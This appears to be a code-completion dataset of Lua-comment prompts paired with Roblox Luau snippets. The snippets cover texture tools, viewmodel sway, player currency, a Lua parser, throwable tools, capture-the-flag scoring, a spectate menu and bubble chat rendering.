Prompt: -- Container for temporary connections (disconnected automatically)

Response:
local Connections = {};

function TextureTool.Equip()
	-- Enables the tool's equipped functionality

	-- Start up our interface
	ShowUI();
	EnableSurfaceClickSelection();

	-- Set our current texture type and face
	SetTextureType(TextureTool.Type);
	SetFace(TextureTool.Face);

end;

function TextureTool.Unequip()
	-- Disables the tool's equipped functionality

	-- Clear unnecessary resources
	HideUI();
	ClearConnections();

end;

function ClearConnections()
	-- Clears out temporary connections

	for ConnectionKey, Connection in pairs(Connections) do
		Connection:disconnect();
		Connections[ConnectionKey] = nil;
	end;

end;

function ShowUI()
	-- Creates and reveals the UI

	-- Reveal UI if already created
	if UI then

		-- Reveal the UI
		UI.Visible = true;

		-- Update the UI every 0.1 seconds
		UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);

		-- Skip UI creation
		return;

	end;

	-- Create the UI
	UI = Core.Tool.Interfaces.BTTextureToolGUI:Clone();
	UI.Parent = Core.UI;
	UI.Visible = true;

	-- References to UI elements
	local AddButton = UI.AddButton;
	local RemoveButton = UI.RemoveButton;
	local DecalModeButton = UI.ModeOption.Decal.Button;
	local TextureModeButton = UI.ModeOption.Texture.Button;
	local ImageIdInput = UI.ImageIDOption.TextBox;
	local TransparencyInput = UI.TransparencyOption.Input.TextBox;
	local RepeatXInput = UI.RepeatOption.XInput.TextBox;
	local RepeatYInput = UI.RepeatOption.YInput.TextBox;

	-- Enable the texture type switch
	DecalModeButton.MouseButton1Click:connect(function ()
		SetTextureType 'Decal';
	end);
	TextureModeButton.MouseButton1Click:connect(function ()
		SetTextureType 'Texture';
	end);

	-- Create the face selection dropdown
	local Faces = { 'Top', 'Bottom', 'Front', 'Back', 'Left', 'Right' };
	FaceDropdown = Core.Cheer(UI.SideOption.Dropdown).Start(Faces, '', function (Face)
		SetFace(Enum.NormalId[Face]);
	end);

	-- Enable the image ID input
	ImageIdInput.FocusLost:connect(function (EnterPressed)
		SetTextureId(TextureTool.Type, TextureTool.Face, ParseAssetId(ImageIdInput.Text));
	end);

	-- Enable other inputs
	SyncInputToProperty('Transparency', TransparencyInput);
	SyncInputToProperty('StudsPerTileU', RepeatXInput);
	SyncInputToProperty('StudsPerTileV', RepeatYInput);

	-- Enable the texture adding button
	AddButton.Button.MouseButton1Click:connect(function ()
		AddTextures(TextureTool.Type, TextureTool.Face);
	end);
	RemoveButton.Button.MouseButton1Click:connect(function ()
		RemoveTextures(TextureTool.Type, TextureTool.Face);
	end);

	-- Update the UI every 0.1 seconds
	UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);

end;

function SyncInputToProperty(Property, Input)
	-- Enables `Input` to change the given property

	-- Enable inputs
	Input.FocusLost:connect(function ()
		SetProperty(TextureTool.Type, TextureTool.Face, Property, tonumber(Input.Text));
	end);

end;

function EnableSurfaceClickSelection()
	-- Allows for the setting of the current face by clicking

	-- Clear out any existing connection
	if Connections.SurfaceClickSelection then
		Connections.SurfaceClickSelection:disconnect();
		Connections.SurfaceClickSelection = nil;
	end;

	-- Add the new click connection
	Connections.SurfaceClickSelection = UserInputService.InputEnded:connect(function (Input, GameProcessedEvent)
		if not GameProcessedEvent and Input.UserInputType == Enum.UserInputType.MouseButton1 and Selection.IsSelected(Core.Mouse.Target) then
			SetFace(Core.Mouse.TargetSurface);
		end;
	end);

end;

function HideUI()
	-- Hides the tool UI

	-- Make sure there's a UI
	if not UI then
		return;
	end;

	-- Hide the UI
	UI.Visible = false;

	-- Stop updating the UI
	UIUpdater:Stop();

end;

function GetTextures(TextureType, Face)
	-- Returns all the textures in the selection

	local Textures = {};

	-- Get any textures from any selected parts
	for _, Part in pairs(Selection.Items) do
		for _, Child in pairs(Part:GetChildren()) do

			-- If this child is texture we're looking for, collect it
			if Child.ClassName == TextureType and Child.Face == Face then
				table.insert(Textures, Child);
			end;

		end;
	end;

	-- Return the found textures
	return Textures;

end;


Prompt: -- perform the update loop

Response:
if rigtype == "R15" then

	-- do the r15 update loop
	stepped_con = game:GetService("RunService").RenderStepped:connect(function()
		-- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly
		checkfirstperson()
		-- update loop
		if isfirstperson == true then
			-- make arms visible
			visiblearms(true)
			-- update walk sway if we are walking
			if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then
				walksway = walksway:lerp(
					CFrame.new(

						(0.1*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)),
						(0.1*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)),
						0

					)*
						CFrame.Angles(

							0,
							0,
							(-.05*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4))

						)
					,0.1*sensitivity)
			else
				walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity)
			end
			--
			local delta = uis:GetMouseDelta()
			if includecamerasway then
				sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity)
			end
			--
			if includestrafe then
				strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(10/swaysize)), 0.1*sensitivity)
			end
			--
			if includejumpsway then
				jumpsway = jumpswaygoal.Value
			end
			-- update animation transform for viewmodel
			rightshoulderclone.Transform = rightshoulder.Transform
			leftshoulderclone.Transform = leftshoulder.Transform
			if firstperson_waist_movements_enabled then
				waistclone.Transform = waist.Transform
			end
			-- cframe the viewmodel
			local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-(headoffset.Y+(aimoffset.Value.Y))))+(camera.CFrame.LookVector*(headoffset.Z+(aimoffset.Value.Z)))+(camera.CFrame.RightVector*(-headoffset.X-(aimoffset.Value.X)+(-(sway.X*swaysize)/75)))
			viewmodel:SetPrimaryPartCFrame(finalcf)
		end
	end)
elseif rigtype == "R6" then

	-- do the R6 update loop
	stepped_con = game:GetService("RunService").RenderStepped:connect(function()
		-- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly
		checkfirstperson()
		-- update loop
		if isfirstperson == true then
			-- make arms visible
			visiblearms(true)
			-- update walk sway if we are walking
			if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then
				walksway = walksway:lerp(
					CFrame.new(

						(0.07*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)),
						(0.07*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)),
						0

					)*
						CFrame.Angles(

							0,
							0,
							(-.03*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4))

						)
					,0.2*sensitivity)
			else
				walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity)
			end
			--
			local delta = uis:GetMouseDelta()
			--
			if includecamerasway then
				sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity)
			end
			--
			if includestrafe then
				strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(20/swaysize)), 0.1*sensitivity)
			end
			--
			if includejumpsway == true then
				jumpsway = jumpswaygoal.Value
			end
			-- update animation transform for viewmodel
			rightshoulderclone.Transform = rightshoulder.Transform
			leftshoulderclone.Transform = leftshoulder.Transform
			-- cframe the viewmodel
			local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-(headoffset.Y+(aimoffset.Value.Y))))+(camera.CFrame.LookVector*(headoffset.Z+(aimoffset.Value.Z)))+(camera.CFrame.RightVector*(-headoffset.X-(aimoffset.Value.X)+(-(sway.X*swaysize)/75)))
			viewmodel:SetPrimaryPartCFrame(finalcf)
		end
	end)
end


Prompt:
--- Gives `Character` the 'Amount' of silver in the bag, returns true if it was successful.
---@param Amount number
---@param Character Model
---@return boolean

Response:
local function GiveSilver(Amount: number, Character: Model): boolean

	--// One thing I noticed about this function is that the names of variables were.. Odd.
	--// The target is to make anyone be able to see the function and the algorithm just clicks.
	--// So you know, define the prefab, make sure your names are pretty self-explantory but not 'ToolToGive', etc etc.

	local Player = game.Players:GetPlayerFromCharacter(Character)

	if (not Player) then
		return false
	end

	Player.Data.Silver.Value += Amount

	return true;
end


Prompt:
------------------------------------------------------------------------
-- parse a numerical for loop, calls forbody()
-- * used in forstat()
------------------------------------------------------------------------

Response:
function luaY:fornum(ls, varname, line)
  -- fornum -> NAME = exp1,exp1[,exp1] forbody
  local fs = ls.fs
  local base = fs.freereg
  self:new_localvarliteral(ls, "(for index)", 0)
  self:new_localvarliteral(ls, "(for limit)", 1)
  self:new_localvarliteral(ls, "(for step)", 2)
  self:new_localvar(ls, varname, 3)
  self:checknext(ls, '=')
  self:exp1(ls)  -- initial value
  self:checknext(ls, ",")
  self:exp1(ls)  -- limit
  if self:testnext(ls, ",") then
    self:exp1(ls)  -- optional step
  else  -- default step = 1
    luaK:codeABx(fs, "OP_LOADK", fs.freereg, luaK:numberK(fs, 1))
    luaK:reserveregs(fs, 1)
  end
  self:forbody(ls, base, line, 1, true)
end


Response:
local  Paint = false

script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("PBG",Paint)
end)


Prompt: -- Variables for services

Response:
local render = game:GetService("RunService").RenderStepped
local contextActionService = game:GetService("ContextActionService")
local userInputService = game:GetService("UserInputService")

local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local Tool = script.Parent


Prompt: -- init varible

Response:
local player = game.Players.LocalPlayer
local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")
local bindFuc = script.Parent:WaitForChild("BindableFunction")

local doJump = false
local startGame = false
local left = 0
local right = 0
local moveDir = 0
local moveSpeed = 40
local animSpeed = 0.05

game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false)
game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)

local humanoid
local animator
local character
player:WaitForChild("PlayerGui")
player.CharacterAdded:Wait()


Prompt: --returns the wielding player of this tool

Response:
function getPlayer()
	local char = Tool.Parent
	return game:GetService("Players"):GetPlayerFromCharacter(Character)
end

function Toss(direction)
	local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
	local spawnPos = Character.Head.Position
	spawnPos  = spawnPos + (direction * 5)
	Tool.Handle.Transparency = 1
	local Object = Tool.Handle:Clone()
	Object.Parent = workspace
	Object.Transparency = 1
	Object.Swing.Pitch = math.random(90, 110)/100
	Object.Swing:Play()
	Object.CanCollide = true
	Object.CFrame = Tool.Handle.CFrame
	Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
	Object.Trail.Enabled = true
	--Object.Fuse:Play()
	--Object.Sparks.Enabled = true
	local rand = 11.25
	Object.RotVelocity = Vector3.new(math.random(-rand,rand),math.random(-rand,rand),math.random(-rand,rand))
	Object:SetNetworkOwner(getPlayer())
	local ScriptClone = DamageScript:Clone()
	ScriptClone.Parent = Object
	ScriptClone.Disabled = false
	local tag = Instance.new("ObjectValue")
	tag.Value = getPlayer()
	tag.Name = "creator"
	tag.Parent = Object
	Tool:Destroy()
end

script.Parent.Power.OnServerEvent:Connect(function(player, Power)
	AttackVelocity = Power
end)

Remote.OnServerEvent:Connect(function(player, mousePosition)
	if not AttackAble then return end
	AttackAble = false
	if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
		Remote:FireClient(getPlayer(), "PlayAnimation", "Animation")
	end
	local targetPos = mousePosition.p
	local lookAt = (targetPos - Character.Head.Position).unit
	Toss(lookAt)
	LeftDown = true
end)

function onLeftUp()
	LeftDown = false
end

Tool.Equipped:Connect(function()
	Character = Tool.Parent
	Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)

Tool.Unequipped:Connect(function()
	Character = nil
	Humanoid = nil
end)


Prompt: -- Local Functions

Response:
function OnCaptureFlag(player)
	PlayerManager:AddPlayerScore(player, 1)
	TeamManager:AddTeamScore(player.TeamColor, 1)
	DisplayManager:DisplayNotification(player.TeamColor, 'Captured Flag!')
end

local function OnReturnFlag(flagColor)
	DisplayManager:DisplayNotification(flagColor, 'Flag Returned!')
end


Prompt: -- tween the sound to the speed

Response:
if speed > 0.01 and not walk.IsPlaying then
print("play walk")
walk:Play()
elseif speed <0.01 and walk.IsPlaying then
print("stop walk")
walk:Stop()
end
end


Prompt:
--[[
	Saved profile structure:

	DataStoreProfile = {
		Data = {},
		MetaData = {
			ProfileCreateTime = 0,
			SessionLoadCount = 0,
			ActiveSession = {place_id, game_job_id} / nil,
			ForceLoadSession = {place_id, game_job_id} / nil,
			MetaTags = {},
			LastUpdate = 0, -- os.time()
		},
		GlobalUpdates = {
			update_index,
			{
				{update_id, version_id, update_locked, update_data},
				...
			}
		},
	}

	OR

	DataStoreProfile = {
		GlobalUpdates = {
			update_index,
			{
				{update_id, version_id, update_locked, update_data},
				...
			}
		},
	}
--]]


Prompt: -- Make sure tools' icons update

Response:
for i,v in pairs(SlotsFolder:GetChildren()) do
	setIcon(v)

	v.Changed:connect(function()
		setIcon(v)
	end)
end


Prompt: --[[Wheel Alignment]]

Response:
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -3
	Tune.RCamber		= -2
	Tune.FToe			= 0
	Tune.RToe			= 0


Prompt: -- Function to check if the given object should drop

Response:
local function checkIfShouldDrop(object, delta)

    -- Setup is in number of drops per minute; need to convert minutes to ticks
    local dropsPerSecond = object.NUMBER_PER_MINUTE / 60
    local ticksPerSecond = 1 / delta
    local dropsPerTick = dropsPerSecond / ticksPerSecond

    -- Calculate random chance
    local randomNumber = randomGenerator:NextNumber()
    return randomNumber < dropsPerTick
end


Prompt: --Made by Luckymaxer

Response:
Model = script.Parent

Debris = game:GetService("Debris")

Removing = false

function RemoveModel()
	if Removing then
		return
	end
	local Parts = {}
	for i, v in pairs(Model:GetChildren()) do
		if v:IsA("Model") then
			table.insert(Parts, v)
		end
	end
	if #Parts == 0 then
		Removing = true
		Model.Name = ""
		Debris:AddItem(Model, 1)
	end
end

Model.ChildRemoved:connect(function(Child)
	RemoveModel()
end)

RemoveModel()


Prompt:
--Thanks for using this script
--This script is made by Joriangames/Problox Studio Scripts
--Want to know how to use this? Watch my tutorial: https://youtu.be/T65gtxrukQg

Response:
local button = script.Parent.OpenSpectate
local frame = script.Parent.Frame
local title = frame.PlrName
local left = frame.Left
local right = frame.Right
local cam = workspace.CurrentCamera
local num = 1
local plr = game.Players.LocalPlayer

button.MouseButton1Click:Connect(function()
	if frame.Visible == true then
		frame.Visible = false
		title.Text = plr.Name
		cam.CameraSubject = plr.Character.Humanoid
		num = 1
	else
		frame.Visible = true
		title.Text = plr.Name
		cam.CameraSubject = plr.Character.Humanoid
		num = 1
	end
end)

right.MouseButton1Click:Connect(function()
	local players = game.Players:GetPlayers()
	local all = #players
	num = num +1
	if num > all then
		num = 1
	end
	cam.CameraSubject = players[num].Character.Humanoid
	title.Text = players[num].Name
end)

left.MouseButton1Click:Connect(function()
	local players = game.Players:GetPlayers()
	local all = #players
	num = num -1
	if num < 1 then
		num = all
	end
	cam.CameraSubject = players[num].Character.Humanoid
	title.Text = players[num].Name
end)


Prompt: -- init chat bubble tables

Response:
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)
	this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)
	this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)
	this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)
end

initChatBubbleType(BubbleColor.WHITE,	"ui/dialog_white",	"ui/chatBubble_white_notify_bkg", 	false,	Rect.new(5,5,15,15))
initChatBubbleType(BubbleColor.BLUE,	"ui/dialog_blue",	"ui/chatBubble_blue_notify_bkg",	true, 	Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.RED,		"ui/dialog_red",	"ui/chatBubble_red_notify_bkg",		true,	Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.GREEN,	"ui/dialog_green",	"ui/chatBubble_green_notify_bkg",	true,	Rect.new(7,7,33,33))

function this:SanitizeChatLine(msg)
	if string.len(msg) > MaxChatMessageLengthExclusive then
		return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES))
	else
		return msg
	end
end

local function createBillboardInstance(adornee)
	local billboardGui = Instance.new("BillboardGui")
	billboardGui.Adornee = adornee
	billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT)
	billboardGui.StudsOffset = Vector3.new(0, 1.5, 2)
	billboardGui.Parent = BubbleChatScreenGui

	local billboardFrame = Instance.new("Frame")
	billboardFrame.Name = "BillboardFrame"
	billboardFrame.Size = UDim2.new(1,0,1,0)
	billboardFrame.Position = UDim2.new(0,0,-0.5,0)
	billboardFrame.BackgroundTransparency = 1
	billboardFrame.Parent = billboardGui

	local billboardChildRemovedCon = nil
	billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()
		if #billboardFrame:GetChildren() <= 1 then
			billboardChildRemovedCon:disconnect()
			billboardGui:Destroy()
		end
	end)

	this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame

	return billboardGui
end

function this:CreateBillboardGuiHelper(instance, onlyCharacter)
	if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
		if not onlyCharacter then
			if instance:IsA("BasePart") then
				-- Create a new billboardGui object attached to this player
				local billboardGui = createBillboardInstance(instance)
				this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
				return
			end
		end

		if instance:IsA("Model") then
			local head = instance:FindFirstChild("Head")
			if head and head:IsA("BasePart") then
				-- Create a new billboardGui object attached to this player
				local billboardGui = createBillboardInstance(head)
				this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
			end
		end
	end
end

local function distanceToBubbleOrigin(origin)
	if not origin then return 100000 end

	return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
end

local function isPartOfLocalPlayer(adornee)
	if adornee and PlayersService.LocalPlayer.Character then
		return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)
	end
end

function this:SetBillboardLODNear(billboardGui)
	local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
	billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
	billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)
	billboardGui.Enabled = true
	local billChildren = billboardGui.BillboardFrame:GetChildren()
	for i = 1, #billChildren do
		billChildren[i].Visible = true
	end
	billboardGui.BillboardFrame.SmallTalkBubble.Visible = false
end

function this:SetBillboardLODDistant(billboardGui)
	local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
	billboardGui.Size = UDim2.new(4,0,3,0)
	billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)
	billboardGui.Enabled = true
	local billChildren = billboardGui.BillboardFrame:GetChildren()
	for i = 1, #billChildren do
		billChildren[i].Visible = false
	end
	billboardGui.BillboardFrame.SmallTalkBubble.Visible = true
end

function this:SetBillboardLODVeryFar(billboardGui)
	billboardGui.Enabled = false
end

function this:SetBillboardGuiLOD(billboardGui, origin)
	if not origin then return end

	if origin:IsA("Model") then
		local head = origin:FindFirstChild("Head")
		if not head then origin = origin.PrimaryPart
		else origin = head end
	end

	local bubbleDistance = distanceToBubbleOrigin(origin)

	if bubbleDistance < NEAR_BUBBLE_DISTANCE then
		this:SetBillboardLODNear(billboardGui)
	elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then
		this:SetBillboardLODDistant(billboardGui)
	else
		this:SetBillboardLODVeryFar(billboardGui)
	end
end

function this:CameraCFrameChanged()
	for index, value in pairs(this.CharacterSortedMsg:GetData()) do
		local playerBillboardGui = value["BillboardGui"]
		if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end
	end
end

function this:CreateBubbleText(message)
	local bubbleText = Instance.new("TextLabel")
	bubbleText.Name = "BubbleText"
	bubbleText.BackgroundTransparency = 1
	bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0)
	bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0)
	bubbleText.Font = CHAT_BUBBLE_FONT
	if shouldClipInGameChat then
		bubbleText.ClipsDescendants = true
	end
	bubbleText.TextWrapped = true
	bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE
	bubbleText.Text = message
	bubbleText.Visible = false

	return bubbleText
end

function this:CreateSmallTalkBubble(chatBubbleType)
	local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()
	smallTalkBubble.Name = "SmallTalkBubble"
	smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)
	smallTalkBubble.Position = UDim2.new(0,0,0.5,0)
	smallTalkBubble.Visible = false
	local text = this:CreateBubbleText("...")
	text.TextScaled = true
	text.TextWrapped = false
	text.Visible = true
	text.Parent = smallTalkBubble

	return smallTalkBubble
end

function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)
	local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo
	local bubbleQueueSize = bubbleQueue:Size()
	local bubbleQueueData = bubbleQueue:GetData()
	if #bubbleQueueData <= 1 then return end

	for index = (#bubbleQueueData - 1), 1, -1 do
		local value = bubbleQueueData[index]
		local bubble = value.RenderBubble
		if not bubble then return end
		local bubblePos = bubbleQueueSize - index + 1

		if bubblePos > 1 then
			local tail = bubble:FindFirstChild("ChatBubbleTail")
			if tail then tail:Destroy() end
			local bubbleText = bubble:FindFirstChild("BubbleText")
			if bubbleText then bubbleText.TextTransparency = 0.5 end
		end

		local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,
									1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT )
		bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)
		currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT
	end
end

function this:DestroyBubble(bubbleQueue, bubbleToDestroy)
	if not bubbleQueue then return end
	if bubbleQueue:Empty() then return end

	local bubble = bubbleQueue:Front().RenderBubble
	if not bubble then
		bubbleQueue:PopFront()
	 	return
	end

	spawn(function()
		while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do
			wait()
		end

		bubble = bubbleQueue:Front().RenderBubble

		local timeBetween = 0
		local bubbleText = bubble:FindFirstChild("BubbleText")
		local bubbleTail = bubble:FindFirstChild("ChatBubbleTail")

		while bubble and bubble.ImageTransparency < 1 do
			timeBetween = wait()
			if bubble then
				local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED
				bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount
				if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end
				if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end
			end
		end

		if bubble then
			bubble:Destroy()
			bubbleQueue:PopFront()
		end
	end)
end

function this:CreateChatLineRender(instance, line, onlyCharacter, fifo)
	if not instance then return end

	if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
		this:CreateBillboardGuiHelper(instance, onlyCharacter)
	end

	local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"]
	if billboardGui then
		local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()
		chatBubbleRender.Visible = false
		local bubbleText = this:CreateBubbleText(line.Message)

		bubbleText.Parent = chatBubbleRender
		chatBubbleRender.Parent = billboardGui.BillboardFrame

		line.RenderBubble = chatBubbleRender

		local currentTextBounds = TextService:GetTextSize(
				bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,
				Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))
		local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1)
		local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT)

		-- prep chat bubble for tween
		chatBubbleRender.Size = UDim2.new(0,0,0,0)
		chatBubbleRender.Position = UDim2.new(0.5,0,1,0)

		local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT

		chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),
											 	UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY),
											 	Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,
											 	function() bubbleText.Visible = true end)

		-- todo: remove when over max bubbles
		this:SetBillboardGuiLOD(billboardGui, line.Origin)
		this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)

		delay(line.BubbleDieDelay, function()
			this:DestroyBubble(fifo, chatBubbleRender)
		end)
	end
end

function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)
	if not this:BubbleChatEnabled() then return end

	local localPlayer = PlayersService.LocalPlayer
	local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer

	local safeMessage = this:SanitizeChatLine(message)

	local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)

	if sourcePlayer and line.Origin then
		local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo
		fifo:PushBack(line)
		--Game chat (badges) won't show up here
		this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo)
	end
end

function this:OnGameChatMessage(origin, message, color)
	local localPlayer = PlayersService.LocalPlayer
	local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)

	local bubbleColor = BubbleColor.WHITE

	if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE
	elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN
	elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end

	local safeMessage = this:SanitizeChatLine(message)
	local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)

	this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)
	this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo)
end

function this:BubbleChatEnabled()
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
		if chatSettings then
			local chatSettings = require(chatSettings)
			if chatSettings.BubbleChatEnabled ~= nil then
				return chatSettings.BubbleChatEnabled
			end
		end
	end
	return PlayersService.BubbleChat
end

function this:ShowOwnFilteredMessage()
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
		if chatSettings then
			chatSettings = require(chatSettings)
			return chatSettings.ShowUserOwnFilteredMessage
		end
	end
	return false
end

function findPlayer(playerName)
	for i,v in pairs(PlayersService:GetPlayers()) do
		if v.Name == playerName then
			return v
		end
	end
end

ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)

local cameraChangedCon = nil
if game.Workspace.CurrentCamera then
	cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end

game.Workspace.Changed:connect(function(prop)
	if prop == "CurrentCamera" then
		if cameraChangedCon then cameraChangedCon:disconnect() end
		if game.Workspace.CurrentCamera then
			cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
		end
	end
end)

local AllowedMessageTypes = nil

function getAllowedMessageTypes()
	if AllowedMessageTypes then
		return AllowedMessageTypes
	end
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
		if chatSettings then
			chatSettings = require(chatSettings)
			if chatSettings.BubbleChatMessageTypes then
				AllowedMessageTypes = chatSettings.BubbleChatMessageTypes
				return AllowedMessageTypes
			end
		end
		local chatConstants = clientChatModules:FindFirstChild("ChatConstants")
		if chatConstants then
			chatConstants = require(chatConstants)
			AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}
		end
		return AllowedMessageTypes
	end
	return {"Message", "Whisper"}
end

function checkAllowedMessageType(messageData)
	local allowedMessageTypes = getAllowedMessageTypes()
	for i = 1, #allowedMessageTypes do
		if allowedMessageTypes[i] == messageData.MessageType then
			return true
		end
	end
	return false
end

local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering")
